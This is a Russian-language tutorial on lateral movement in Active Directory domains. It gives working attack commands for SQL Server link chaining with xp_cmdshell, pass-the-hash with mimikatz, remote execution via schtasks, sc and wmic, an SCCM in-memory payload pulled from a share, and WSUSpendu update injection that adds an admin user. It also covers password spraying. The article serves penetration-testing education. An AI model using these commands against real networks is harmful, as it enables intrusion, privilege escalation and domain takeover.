November 7, 2021

Боковое перемещение в Active Directory. Разбираем техники Lateral Movement при атаке на домен

Предположим, ты успешно раздобыл учетные записи пользователей в сети с контроллером домена Active Directory и даже смог повысить собственные привилегии. Казалось бы, можно расслабиться и почивать на лаврах. Как бы не так! Что, если мы захватили не всю сеть, а ее определенный сегмент? Нужно разобраться, как продвигаться по сети дальше, искать новые точки входа, опоры для проведения разведки и дальнейшего повышения привилегий!

Техника Lateral Movement через ссылки Microsoft SQL Server

Для начала — немного теории. Microsoft SQL Server позволяет создавать ссылки на внешние источники данных, например другие серверы SQL, базы данных Oracle, таблицы Excel. Зачастую сервер настроен неправильно, из-за чего подобные ссылки (связи или линки), или «связанные серверы», могут использоваться для обнаружения и обхода связей базы данных в сети, получения неавторизованного доступа к данным или загрузки различных оболочек. Как подобные атаки реализуются на практике, мы сейчас и разберем.

Введение в ссылки

Создание связи на SQL Server довольно тривиально. Это можно сделать с помощью хранимой процедуры sp_addlinkedserver или SQL Server Management Studio (SSMS). Обычно злоумышленники не стремятся создавать линки, но пытаются найти существующие и эксплуатировать их.

Связи можно просмотреть в меню «Объекты сервера → Серверы ссылок» в SSMS. В качестве альтернативы они могут быть перечислены с помощью хранимой процедуры sp_linkedservers или с помощью запроса select * from master..sysservers. Выбирать непосредственно из таблицы sysservers предпочтительно, поскольку так раскрывается немного больше информации о линках.

Для существующих ссылок есть несколько ключевых настроек, на которые следует обратить внимание. Очевидно, что назначение ссылки, тип источника данных (имя провайдера) и доступность ссылки (доступ к данным) важны для использования связи. Кроме того, исходящие соединения RPC (rpcout) должны быть включены для ссылок, чтобы, в свою очередь, включить xp_cmdshell на удаленных связанных серверах.

Злоумышленники при взломе связей базы данных обращают внимание на две основные конфигурации: источник данных (имя провайдера) и способ настройки линков для проверки подлинности. Сосредоточимся на источниках данных SQL Server, которые подключаются к другим серверам Microsoft SQL Server.

Каждую из этих связей SQL Server можно настроить для проверки подлинности несколькими различными способами. Можно отключить линки, не предоставляя учетные данные для подключения. Также можно использовать текущий контекст безопасности или установить учетную запись SQL и пароль, которые будут задействованы для всех подключений, использующих ссылку. Как показывает практика, после обхода всех связей всегда есть одна или несколько настроек с разрешениями sysadmin; это позволяет повысить привилегии от начального общедоступного доступа к доступу sysadmin, даже не выходя из уровня базы данных.

Хотя только системные администраторы могут создавать ссылки, любой пользователь базы данных может попытаться получить к ним доступ. Тем не менее есть две очень важные вещи, которые нужно понять про использование ссылок:

  • если связь включена (dataaccess установлен в 1), каждый пользователь на сервере базы данных может использовать ссылку независимо от прав пользователя (public, sysadmin);
  • если связь настроена на использование учетной записи SQL, каждое подключение будет с правами этой учетной записи. Другими словами, общедоступный пользователь на сервере A может потенциально выполнять SQL-запросы на сервере B как sysadmin.

Ссылки на SQL Server очень просты в использовании. Например, следующий запрос с использованием openquery() перечисляет версию сервера на удаленном сервере.

select version from openquery("linked_remote_server", 'select @@version as version');

Также можно использовать openquery для выполнения SQL-запросов по нескольким вложенным линкам; это делает возможным связывание ссылок и, таким образом, позволяет использовать деревья ссылок.

select version from openquery("link1",'select version from openquery("link2",''select @@version as version'')')

Подобным же образом можно вложить столько операторов openquery, сколько необходимо для доступа ко всем связанным серверам. Единственная проблема состоит в том, что каждый вложенный запрос должен использовать вдвое больше одинарных кавычек, чем внешний запрос. В результате синтаксис запросов становится довольно громоздким, когда тебе приходится использовать 32 одинарные кавычки в каждой строке.

Схема эксплуатации изнутри сети

На следующем рисунке показан пример типичной сети связанных баз данных. Пользователь с общими правами доступа к DB1 может перейти по ссылке базы данных на DB2 (разрешения уровня пользователя) и от DB2 до DB3 (разрешения уровня пользователя). Теперь можно перейти по ссылке из DB3 обратно в DB1 (разрешения уровня пользователя) или по ссылке на DB4. Так как эта ссылка настроена с повышенными привилегиями, следование цепочке ссылок DB1 → DB2 → DB3 → DB4 дает изначально непривилегированному пользователю полномочия пользователя sysadmin на DB4, который расположен в «изолированной» сетевой зоне.

Ссылки на базы данных также могут запрашиваться с использованием альтернативного синтаксиса, но он не допускает запросы по нескольким ссылкам. Кроме того, фактическая эксплуатация требует, чтобы rpcout был включен для ссылок, и, поскольку он отключен по умолчанию, это вряд ли будет часто использоваться на практике.

Хотя Microsoft заявляет, что openquery() нельзя использовать для выполнения расширенных хранимых процедур на связанном сервере, это возможно. Хитрость заключается в том, чтобы вернуть некоторые данные, завершить оператор SQL и затем выполнить требуемую хранимую процедуру. Ниже приведен базовый пример выполнения процедуры с помощью openquery().

select 1 from openquery("linkedremoteserver",'select 1;exec master..xp_cmdshell "dir c:"')

Запрос не возвращает результаты xp_cmdshell, но если xp_cmdshell включен и пользователь имеет права на его выполнение, он выполнит команду dir в операционной системе. Один из простых способов получить оболочку в целевой системе — вызвать PowerShell (если этот командный интерпретатор установлен в ОС) и передать бэкконнект на оболочку Meterpreter. В целом алгоритм действий выглядит следующим образом:

  1. Создать сценарий PowerShell для выполнения своей полезной нагрузки Metasploit, пример можно взять здесь.
  2. Закодировать скрипт в Unicode.
  3. Закодировать в Base64.
  4. Выполнить команду powershell -noexit -noprofile -EncodedCommand с помощью xp_cmdshell.

Если xp_cmdshell не включен на связанном сервере, возможно, его не удастся включить, даже если ссылка настроена с привилегиями sysadmin. Любые запросы, выполняемые через openquery, считаются пользовательскими транзакциями, которые не позволяют сделать перенастройку. Включение xp_cmdshell с помощью sp_configure не изменяет состояние сервера без перенастройки, и, следовательно, xp_cmdshell останется отключенным. Если rpcout включен для всех ссылок внутри пути ссылки, можно включить xp_cmdshell, используя следующий синтаксис.

execute('sp_configure "xp_cmdshell",1;reconfigure;') at LinkedServer

Но, как уже отмечалось, rpcout по умолчанию отключен, поэтому он вряд ли будет работать с длинными цепочками ссылок.

Схема эксплуатации извне

Хотя ссылки на базы данных могут стать неплохим способом повысить привилегии после того, как получен аутентифицированный доступ к базе данных внутри сети, более серьезный риск возникает, когда связанные серверы доступны извне. Те же SQL-инъекции очень распространены, и успешная атака дает возможность выполнять произвольные запросы SQL на сервере базы данных. Если соединение с базой данных веб-приложения сконфигурировано с наименьшими привилегиями (что происходит довольно часто), то нетрудно увеличить разрешения для внутренней сети, где, вероятно, расположен сервер базы данных. Однако, как упоминалось ранее, любому пользователю, независимо от его уровня привилегий, доступны предварительно настроенные связи между базами данных.

На следующем рисунке показан путь атаки извне. Найдя SQL-инъекцию на сервере веб-приложений, злоумышленник может начать переходить по ссылкам DB1 → DB2 → DB3 → DB4. И после получения разрешений sysadmin на DB4 он может выполнить xp_cmdshell, чтобы запустить PowerShell и получить бэкконнект.

Таким образом злоумышленник получает привилегии в изолированном сегменте корпоративной сети и может претендовать на компрометацию всего домена, при этом изначально не имея доступа к внутренней сети.

Как автоматизировать обнаружение пути эксплуатации

Для автоматизации перечисления и обхода ссылок после того, как первоначальный доступ к SQL Server получен, можно применить уже упоминавшийся в предыдущих статьях инструмент PowerUpSQL.

Функция Get-SQLServerLinkCrawl может использоваться для сканирования всех доступных путей связанных серверов, а также перечисления версий программного обеспечения и привилегий, с которыми настроены ссылки. Чтобы запустить Get-SQLServerLinkCrawl, нужно будет предоставить информацию об экземпляре базы данных для начального подключения к БД и учетные данные, используемые для авторизации. По умолчанию скрипт выполняется с использованием встроенной аутентификации, но при желании можно указать альтернативные учетные данные домена и учетные данные SQL Server.

Для вывода в консоль воспользуемся командой

Get-SQLServerLinkCrawl -verbose -instance "[ip-address]\SQLSERVER2008"

Для вывода же по сети используем функцию следующим образом.

Get-SQLServerLinkCrawl -verbose -instance "[ip-address]\SQLSERVER2008" -username 'guest' -password 'guest' | Out-GridView

Результаты будут включать экземпляр базы данных, информацию о ее версии, пользователя ссылки, привилегии пользователя ссылки на связанном сервере, путь ссылки на сервер и ссылки на каждый экземпляр базы данных. Связанные серверы, которые недоступны, помечаются как неработающие ссылки.

Кроме того, Get-SQLServerLinkCrawl позволяет выполнять произвольные запросы SQL на всех связанных серверах с использованием параметра -Query. Xp_cmdshell (для выполнения команды) и xp_dirtree (для внедрения в UNC-путь) также могут быть выполнены с помощью параметра -Query.

Get-SQLServerLinkCrawl -instance "[ip-address]\SQLSERVER2008" -Query "exec master..xp_cmdshell 'whoami'" Get-SQLServerLinkCrawl -instance "[ip-address]\SQLSERVER2008" -Query "exec master..xp_dirtree '\\[ip]\test'"

Но согласись, что вывод того же BloodHound в виде графа связей через Neo4j куда удобней для анализа и поиска пути эксплуатации, чем информация, представленная в виде текста. Можно попробовать сделать аналогичный граф и для Get-SQLServerLinkCrawl. Результаты Get-SQLServerLinkCrawl необходимо экспортировать в файл XML с помощью Export-Clixml.

Get-SQLServerLinkCrawl -verbose -instance "[ip-address]\SQLSERVER2008" -username 'guest' -password 'guest' | export-clixml c:\temp\links.xml

Экспортированный файл XML будет затем преобразован в файл узла и файл ссылки, чтобы их можно было импортировать в базу данных Neo4j. Следующий скрипт создаст файлы импорта и предоставит необходимые операторы Cypher для создания графа. Очевидно, что все пути к файлам жестко закодированы в PowerShell, поэтому их придется заменить, если ты запустишь скрипт. Последние (необязательные) операторы Cypher создают начальный узел, с целью указать, где начался обход контента; ServerID должен быть обновлен вручную, чтобы он указывал на первый SQL Server, к которому был получен доступ.

$List = Import-CliXml 'C:\temp\links.xml' $Servers = $List | select name,version,path,user,sysadmin -unique | where name -ne 'broken link' $Outnodes = @() $Outpaths = @() foreach($Server in $Servers){ $Outnodes += "$([string][math]::abs($Server.Name.GetHashCode())),$($Server.Name),$($Server.Version)" if($Server.Path.Count -ne 1){ $Parentlink = $Server.Path[-2] foreach($a in $Servers){ if(($a.Path[-1] -eq $Parentlink) -or ($a.Path -eq $Parentlink)){ [string]$Parentname = $a.Name break } } $Outpaths += "$([math]::abs($Parentname.GetHashCode())),$([math]::abs($Server.Name.GetHashCode())),$($Server.User),$($Server.Sysadmin)" } } $Outnodes | select -unique | out-file C:\pathtoneo4j\Neo4j\default.graphdb\Import\nodes.txt $Outpaths | select -unique | out-file C:\pathtoneo4j\default.graphdb\Import\links.txt <# [OPTIONAL] Cypher to clear the neo4j database: MATCH (n) OPTIONAL MATCH (n)-[r]-() DELETE n,r -- Cypher statement to create a neo4j graph - load nodes LOAD CSV FROM "file:///nodes.txt" AS row CREATE (:Server {ServerId: toInt(row[0]), Name:row[1], Version:row[2]}); --- Cypher statement to create a neo4j graph - load links USING PERIODIC COMMIT LOAD CSV FROM "file:///links.txt" AS row MATCH (p1:Server {ServerId: toInt(row[0])}), (p2:Server {ServerId: toInt(row[1])}) CREATE (p1)-[:LINK {User: row[2], Sysadmin: row[3]}]->(p2); --- [OPTIONAL] Cypher statement to create a start node which indicates where the crawl started. This is not automated; first node id must be filled in manually (i.e. replace 12345678 with the first node's id). CREATE (:Start {Id: 1}) [OPTIONAL] Link start node to the first server MATCH (p1:Start {Id: 1}), (p2:Server {ServerId: 12345678}) CREATE (p1)-[:START]->(p2); #>

Если все работает хорошо, ты сможешь просмотреть график связей, используя Neo4j Browser.

Связанные серверы довольно распространены, и иногда сети связанных серверов содержат сотни серверов баз данных. Цель Get-SQLServerLinkCrawl состоит в том, чтобы предоставить простой и автоматизированный способ анализа масштабов этих сетей и легко найти путь бокового движения.

Pass the hash

О технике PTH, как и об одинаковых паролях локальных администраторов на компьютерах домена, уже было рассказано во второй части цикла статей про Active Directory. Допустим, проанализировав некоторые настройки групповой политики, мы выяснили, что на всех компьютерах домена имеются одинаковые учетные данные локального администратора, и мы смогли завладеть этими данными. Далее мы решаем использовать технику pass the hash для доступа к другим машинам в сети, чтобы выполнить боковое движение. Для этого мы используем mimikatz. Если нам известен открытый пароль, то мы получаем его хеш с помощью модуля crypto::hash. Сделать это можно командой

crypto::hash /password:[password]

Теперь можно получить новую консоль под учетной записью, для которой мы выполняем PTH.

privilege::debug sekurlsa::pth /ntlm:[hash] /user:admin /domain:.

Однако после проверки доступа мы терпим неудачу.

Дело в том, что существует два идентификатора безопасности SID: S-1-5-113 (NT AUTHORITY\Local account) и S-1-5-114 (NT AUTHORITY\Local account and member of Administrators group). Они применяются в групповой политике, чтобы блокировать использование всех локальных учетных записей администраторов для удаленного входа. А проверить, на каких машинах установлены эти ограничения, может любой пользователь, который прошел проверку подлинности в домене, просто перечислив групповые политики (о перечислении групповых политик было сказано в первой статье этого цикла).

На самом деле нет возможности передать хеш учетной записи локального администратора, который не имеет относительный идентификатор RID 500 (Local Administrator). Так, для любой учетной записи локального администратора без RID 500, удаленно подключающейся к машине через WMI, PSEXEC или другими методами, возвращаемый токен «фильтруется», даже если пользователь является локальным администратором. Это происходит потому, что нет способа удаленного перехода в контекст, кроме как через RDP (для которого требуется пароль в виде открытого текста, если не включен режим Restricted Admin). Поэтому, когда пользователь пытается получить доступ к привилегированному ресурсу удаленно, например к папке ADMIN$, он видит сообщение Access is denied, несмотря на то что у него есть административный доступ.

Вдобавок ко всему, когда пользователь, который входит в группу локальных администраторов на целевом удаленном компьютере, устанавливает удаленное административное соединение, он не подключается как полный администратор удаленной системы. У пользователя нет возможности повысить права на удаленном компьютере, и он не может выполнять административные задачи. Если пользователь хочет администрировать рабочую станцию с помощью учетки диспетчера учетных записей безопасности (SAM), он должен интерактивно войти в систему на компьютере, который администрируется с помощью удаленного рабочего стола (RDP).

Это объясняет, почему локальные учетные записи администраторов терпят неудачу при удаленном доступе (кроме как через RDP), а также почему учетные записи домена выполняют свои операции успешно. И хотя Windows по умолчанию отключает встроенную учетную запись администратора RID 500, ее все же довольно часто можно увидеть в исследуемых системах.

Есть еще одна возможная причина неудачи — так называемый режим одобрения администратором. Ключ, который указывает на этот режим, хранится в ключе реестра

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken

...и по умолчанию отключен. Однако, если этот параметр активирован, учетная запись с RID 500 зарегистрирована в UAC. Это означает, что удаленный PTH к машине, использующей эту учетную запись, завершится неудачно.

Если ключ

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy

...существует и имеет значение 1, тогда удаленным подключениям от всех локальных членов администраторов предоставляются полные маркеры доступа. Это означает, что подключения к учетной записи без RID 500 не фильтруются!

Но как на своих машинах работают локальные администраторы при включенном контроле токена? По умолчанию встроенная учетная запись администратора запускает все приложения с полными административными привилегиями, то есть контроль учетных записей пользователей фактически не применяется. Поэтому, когда действия удаленного юзера инициируются с использованием этой учетной записи, предоставляется маркер с полными привилегиями (то есть без фильтрации), обеспечивающий надлежащий административный доступ! И мы можем это использовать.

Следующий способ кражи и присвоения токена воспроизведен с помощью Cobalt Strike. Для начала получим хеш, использовав hashdump.

Далее создадим процесс PowerShell.

mimikatz sekurlsa::pth /user:[user] /domain:. /ntlm:[hash] /run:"powershell -w hidden"

Используем steal_token для кражи токена из созданного mimikatz процесса с известным PID.

Теперь мы можем использовать один из нескольких вариантов бокового перемещения.

Вариант 1: запланировать запуск программы на удаленном хосте с помощью at. Первым делом узнаем, какое на хосте установлено время, после чего планируем выполнение задачи.

shell net time \\[address] shell at \\[address] [HH:MM] [c:\windows\temp\soft.exe]

Вариант 2: запустить код в целевой системе через schtasks.

shell schtasks /create /tn [name] /tr [c:\windows\temp\soft.exe] /sc once /st 00:00 /S [address] /RU System shell schtasks /run /tn [name] /S [address]

Вариант 3: создать и запустить службу через sc. Команде sc требуется исполняемый файл, который отвечает на команды Service Control Manager. Если ты не предоставишь ей такой исполняемый файл, твоя программа запустится и сразу же закроется. После эксплуатации рекомендуется удалить службу.

shell sc \\[address] create [name] binpath=["c:\windows\temp\SERVICE.exe"] shell sc \\[address] start [name] shell sc \\[address] delete [name]

Вариант 4, наиболее распространенный: задействовать wmic.

shell wmic /node:[address] process call create ["c:\windows\temp\soft.exe"]

В примере выше мы загружаем на хост файл и запускаем его с помощью wmic.

System Center Configuration Manager

System Center Configuration Manager (SCCM) — продукт для управления IT-инфраструктурой и смежными устройствами. Он предоставляет следующие основные возможности:

  • управление обновлениями;
  • развертывание ПО и операционных систем;
  • интеграция с NAP;
  • инвентаризация аппаратного и программного обеспечения;
  • удаленное управление;
  • управление виртуализированными и мобильными системами на базе Windows.

Кроме того, SCCM позволяет ИТ-персоналу автоматически создавать сценарии и отправлять их клиентам. Если мы сможем получить доступ к SCCM, это станет отличной платформой для последующих атак. Он тесно интегрирован с Windows PowerShell, имеет широкую сетевую видимость и несколько клиентов SCCM, способных выполнять код с правами SYSTEM.

Для использования SCCM в качестве инструмента для бокового движения потребуется доступ с повышенными правами. Но, как уже было отмечено, SCCM имеет широкую сетевую видимость, то есть мы сможем получить доступ к клиентам-участникам даже из другого домена. Для удобства доступа к консоли SCCM предлагается использовать RDP (к тому же это легитимное программное обеспечение для управления в большинстве корпоративных сетей, что снижает риск обнаружения).

Для поддержки функции клонирования Active Directory SCCM хранит объекты машин и пользователей, а также сопоставления между ними. Именно благодаря этому есть возможность контролировать программное обеспечение определенных пользователей. Чтобы предоставить доступ к той или иной группе юзеров, SCCM позволяет создавать так называемые коллекции. Таким образом, установив контроль над SCCM, мы можем получить список всех пользователей-клиентов и их компьютеров — из них мы и будем выбирать цели. Кроме того, мы можем посмотреть существующие коллекции или создать свои, что позволит нам применять действия сразу ко всем участникам в коллекции.

Самый популярный у злоумышленников способ использования функций SCCM— выполнение кода PowerShell. Так можно получить бэкконнект-шелл и не оставить следов на физическом диске. Для этого нам нужно иметь общий ресурс, к которому выбранные клиенты могут получить доступ. На этом ресурсе мы размещаем текстовый файл, содержащий код PowerShell.

Теперь нам нужно создать приложение из меню Application Management. В первом окне будет предложено указать тип установки приложения. Необходимо выбрать ручной режим (Manually specify the application information).

Дальше установка интуитивно понятна, главное — помнить, что чем меньше информации мы указываем, тем лучше. Когда ты дойдешь до раздела Specify setting for this deployment type, необходимо добавить новый тип развертывания — в разделе Type выбрать опцию Script Installer.

Переходим к самой важной части создания приложения — пейлоаду. В этом разделе необходимо оставить поле Content Location пустым. В обычных случаях именно здесь администратор может указать расположение файлов установки приложения. Поскольку мы хотим избежать взаимодействия с диском, мы не заполняем это поле. Следом переходим к полям Installation program и Installation start in. Здесь мы собираемся разместить команду, которая и будет выполнять наш пейлоад. Installation program будет выглядеть примерно так.

cmd.exe /c "powershell.exe -ep bypass -c 'gc \\имя_сервера \общий_ресурс \директория_приложения \payload.txt | IEX'"

Консоль cmd.exe используется для запуска PowerShell, а затем с помощью Get-Content (gc) PowerShell он обратится к \\sccm2012\sccmsource\LegitApplication и прочитает содержимое Install.txt. После этого код передается в Invoke-Expression (iex) для его выполнения. Это позволяет нам выполнять пейлоад на целевом объекте, не загружая файл в файловую систему.

После того как мы установили программу, нам нужно указать, где будет начинаться установка. Поскольку в поле Installation program используется только cmd.exe, SCCM просит нас уточнить расположение этого исполняемого файла. Таким образом, для этого поля нужно выбрать C:\Windows\System32.

После этого мы перейдем к меню Detection Method. Параметры, указанные здесь, сообщат SCCM, как определить, установлено на клиенте целевое приложение или нет. SCCM проверит указанные параметры перед установкой приложения, чтобы предотвратить повторную установку. Поскольку пейлоад выполняется в памяти, проверять нечего, поэтому можно заполнить поле фиктивной информацией. Также убедись, что ты установил переключатель в положение The file system setting must exist on the target system to indicate presence of this application (настройка файловой системы должна существовать в целевой системе, чтобы указывать на наличие этого приложения).

Дальнейшие настройки установки можно оставить по умолчанию. Чтобы развернуть созданное приложение после ее завершения, просто щелкни по нему правой кнопкой мыши и выбери Deploy (развернуть), указав при этом нужную коллекцию. В настройках для взаимодействия с пользователем убедись, что ты скрыл все уведомления. Теперь приложение будет ожидать установки при регистрации пользователя, то есть для того, чтобы выполнить пейлоад, необходимо будет перезагрузить пользовательскую машину. Для большей скрытности после завершения работы пейлоада лучше удалить из SCCM все следы.

Вдобавок скажу, что есть вариант работы с SCCM из консоли. Это очень удобно сделать с помощью PowerSCCM. Описывать этот инструмент я не буду, у него довольно-таки подробная документация.

Теперь ты знаешь, как можно использовать SCCM для выявления целей атаки в сети, группировать выбранные цели вместе и загружать пейлоад в память одновременно для всех выбранных целей. SCCM нередко служит «точкой управления» для большинства рабочих станций на предприятии, и из-за этого у сервера SCCM часто будет широкая, если не полная видимость всей сети. Наше приложение повторно выполнится на клиентских машинах SCCM после перезагрузки, что позволит нам оставаться на компьютере без необходимости сохранять файл на диске. Таким образом, SCCM представляет собой отличную платформу для продвижения по сети без необходимости использования обычных методов бокового перемещения.

Windows Server Update Services

О WSUS

Windows Server Update Services (WSUS) — это сервис обновлений операционных систем и продуктов Microsoft. Сервер обновлений синхронизируется с сайтом Microsoft, скачивая обновления, которые затем могут быть распространены внутри корпоративной локальной сети. Это экономит внешний трафик компании и позволяет быстрее устанавливать исправления ошибок и уязвимостей в операционных системах Windows на рабочих местах, а также дает возможность централизованно управлять обновлениями серверов и рабочих станций. Он прост в использовании и установке, и его можно адаптировать в соответствии с различными правилами для каждой организации. Однако неправильное использование его функций может иметь критическое значение для безопасности сети.

Для компрометации данной службы служит инструмент под названием WSUSpendu. Однако злоумышленник не всегда сможет использовать этот инструмент. Дело в том, что WSUSpendu применяет метод прямого внедрения обновлений в службу WSUS, а не в сетевой поток, чтобы избежать сетевых ограничений. Главная проблема при аудите управления обновлениями заключается в сборе состояний обновлений в каждой системе. Эти состояния должны быть согласованными. Прямой доступ к серверу WSUS позволяет нам обойти эти ограничения.

Наиболее распространенная конфигурация сети — та, где есть только один сервер обновлений. Этот сервер обновляет свои собственные клиенты и подключается к интернету для получения обновлений от серверов Microsoft. Связь между сервером WSUS и серверами Центра обновления Windows должна использовать протокол HTTPS (эти конфигурации недоступны для редактирования). Сервер WSUS проверяет сертификат SSL, чтобы исключить загрузку вредоносных обновлений через подделку легитимных серверов. Клиенты получают свои обновления на сервере WSUS в соответствии с конфигурацией сервера: используя протокол HTTPS, если сервер настроен с использованием SSL, или протокол HTTP, если нет.

Большая организация, скорее всего, будет использовать несколько серверов WSUS. В этом случае применяется древовидная архитектура. Главный сервер подключен к интернету. Другие серверы WSUS (репликации) распространяют обновления для одного сегмента или одной подсети. Также возможно использовать этот вид архитектуры с автономной системой. В этом случае обновления копируются, но применяются автоматически.

Эти две архитектуры рекомендуются Microsoft. Однако их недостаточно для некоторых организаций, и там в сетях можно наблюдать две другие архитектуры. Первая часто встречается в относительно крупных компаниях: она имеет несколько доменов или лесов, которые не обязательно связаны доверительными отношениями Active Directory. В этих архитектурах мы часто видим общие серверы для функций поддержки. Хотя домены не имеют отношений, серверы обновлений часто имеют общую ссылку: сервер WSUS одного из доменов используется в качестве ссылки на сервер WSUS другой сети.

Для всех этих архитектур можно вручную устанавливать любые обновления программного обеспечения, предложенные Microsoft. Но также возможно автоматическое применение обновлений в соответствии с определенными критериями. При установке WSUS создается правило, которое по умолчанию отключено и позволяет при активации автоматически принимать установку всех «критических» или «безопасных» обновлений на клиентах WSUS.

Атака на WSUS

Существует несколько атак на механизм обновления Windows. Все атаки работают только между сервером и клиентом. Чтобы атака WSUSpect сработала, клиент должен использовать машину злоумышленника в качестве прокси. Один из способов выполнения этой атаки — для непривилегированного пользователя на клиенте установить прокси-сервер. Другой способ выполнить эту атаку — использовать протокол WPAD. WSUSpect перехватывает запрос на обновление от клиента и вмешивается в него, чтобы добавить свое вредоносное обновление.

Ответ сервера изменяют, вставляя метаданные и двоичные файлы, чтобы попытаться выполнить произвольный код на клиенте. Но дело в том, что на локальном компьютере будет проверена подпись. С этой конфигурацией невозможно изменить обновление, добавив в него произвольный двоичный файл. Тем не менее аргументы команды не включены в проверку подписи. Таким образом, можно изменять аргументы двоичного файла (к примеру cmd.exe, wmic.exe) для выполнения некоторых команд. Но подписи к данным файлам не хранятся, а хранятся подписи к каталогу с этими файлами, что не позволит передать им аргумент. Однако благодаря поддержке Microsoft Sysinternals есть подписи для файлов из данного пакета, в частности PsExec.

WSUSpendu может развертывать обновления, создавать и удалять группы WSUS, назначать компьютеры группам и удалять обновления. Скрипту нужно указать PsExec или BgInfo, так как только эти программы подписаны Microsoft и могут выполнять произвольные команды в любых системах Windows. Сценарий принимает аргументы для двоичного файла в качестве параметра и автоматически внедряет выбранные двоичные и специально созданные метаданные в базу данных. Сценарий PowerShell, а также выбранный двоичный файл необходимо загрузить на сервер WSUS для локального выполнения.

PS> .\Wsuspendu.ps1 -Inject -PayloadFile .\PsExec.exe -PayloadArgs '-accepteula -s -d cmd.exe /c "net user [USER] [PASSWORD] /add && net localgroup Administrators [USER] /add"' -ComputerName DC1.domain Everything seems ok. Waiting for client now... To clean the injection, execute the following command: .\Wsuspendu.ps1 -Clean -UpdateID 12345678-90ab-cdef-1234-567890abcdef

Обновление будет зависеть от конфигурации клиента, неважно, был ли он настроен для автоматической или ручной установки обновлений. Новое обновление само по себе может быть установлено без какого-либо взаимодействия с пользователем.

Распыление паролей

Распыление пароля (Password Spraying) относится к методу атаки, который принимает большое количество имен пользователей и перечисляет их с помощью одного пароля или малого количества паролей. Так как допустимое количество попыток ввода пароля обычно невелико, этот метод позволяет избежать блокировок политикой паролей, и он часто более эффективен для обнаружения слабых паролей. После успешного получения списка действительных пользователей злоумышленники нередко проверяют частые или известные пароли или благодаря накопленным в процессе разведки данным пробуют ОДИН тщательно продуманный пароль для ВСЕХ известных учетных записей пользователей.

Распыление паролей проводится, как правило, на одном из начальных этапов без наличия привилегий. Этапы атаки распыления паролей:

  1. Включение в сеть (в случае теста на проникновение) или компрометация учетной записи пользователя (для злоумышленника).
  2. Перечисление групповой политики и политики паролей.
  3. Перечисление имен пользователей.
  4. Распыление паролей.

Для выполнения данной атаки написан скрипт Spray, который позволяет указать парольную политику. Spray дает возможность проводить атаку на SMB, OWA (веб-клиент для доступа к серверу совместной работы Microsoft Exchange), Lync, CISCO Web VPN. Для работы скрипт требует список пользователей и паролей.

Альтернативное автоматическое решение — PowerShell-скрипт DomainPasswordSpray. Он требует только пароль либо список паролей. При этом он автоматически перечисляет пользователей домена и парольные политики.

Кроме того, скрипт позволяет узнать список всех пользователей.

Автоматизация Lateral Movement

Множество сетей можно взломать, следуя определенным стандартным алгоритмам действия. Чтобы не тратить время на проверку данных контекстов развития событий, были разработаны инструменты автоматизации шагов каждого контекста.

GoFetch

GoFetch — это инструмент для автоматического осуществления плана атаки, созданного приложением BloodHound.

Сначала GoFetch загружает связи локальных пользователей-администраторов и компьютеров, созданных BloodHound, и преобразует его в собственный формат плана для атаки. Как только план атаки готов, GoFetch продвигается к месту назначения в соответствии с планом, шаг за шагом, последовательно применяя методы удаленного выполнения кода и компрометируя учетные данные с помощью mimikatz.

GoFetch написан на PowerShell, что помогает скрываться от обнаружения, однако используемые модули Python могут выдать работу этого средства. В качестве параметров GoFetch использует связи объектов, созданные с помощью BloodHound, и пейлоад для выполнения в формате BAT, EXE или PS1.

Также для примера было представлено видео работы этого средства.

ANGRYPUPPY

ANGRYPUPPY — это инструмент для фреймворка Cobalt Strike, предназначенный для автоматического анализа и выполнения путей атаки BloodHound. ANGRYPUPPY использует встроенное боковое движение Cobalt Strike и возможности кражи учетных данных Beacon. Это позволяет автоматически извлекать сеансы для управления в Cobalt Strike и использовать его канал связи SMB C2. Кроме того, ANGRYPUPPY дает возможность выбирать технику, которую оператор хочет использовать для выполнения действий бокового движения.

ANGRYPUPPY принимает путь атаки BloodHound в формате JSON, а затем определяет действия, нужные для выполнения пути атаки, кражи учетных данных или бокового перемещения по мере необходимости.

Оператор просто вводит angrypuppy в любую консоль маяка Cobalt Strike, а затем может импортировать путь атаки, выбирать технику бокового перемещения и выполнять атаку. Это действие записывается в журнал событий Cobalt Strike вместе с именем оператора и идентификатором ANGRYPUPPY. Не рекомендуется выполнять другие действия бокового движения во время работы ANGRYPUPPY!

Демонстрация работы этого инструмента также запечатлена на видео.

DeathStar

DeathStar — это скрипт Python, использующий API-интерфейс RESTful Empire для автоматизации атак в среде Active Directory с использованием различных методов.

Так как BloodHound просматривает не все пути продвижения (те же GPP и SYSVOL не подлежат анализу BloodHound), данный инструмент использует максимум возможностей, которые предоставляет API RESTful Empire PowerShell.

Разработчики представили два видео, демонстрирующих работу DeathStar. Но есть один минус: со 2 августа 2019 года этот проект больше не поддерживается, так как прекратил свое существование проект Empire.

Заключение

Благодаря боковому перемещению мы можем легитимным образом продвигаться по сети, используя для этого лишь учетные данные пользователей или разрешенные средства доставки и обновления ПО, что позволит получать информацию с атакованных машин без использования RAT.

Напоследок хотелось бы отметить, что эта статья задумана не в качестве руководства к действию. Она лишь показывает, насколько компетентными должны быть системные администраторы, обеспечивающие безопасность в среде Active Directory.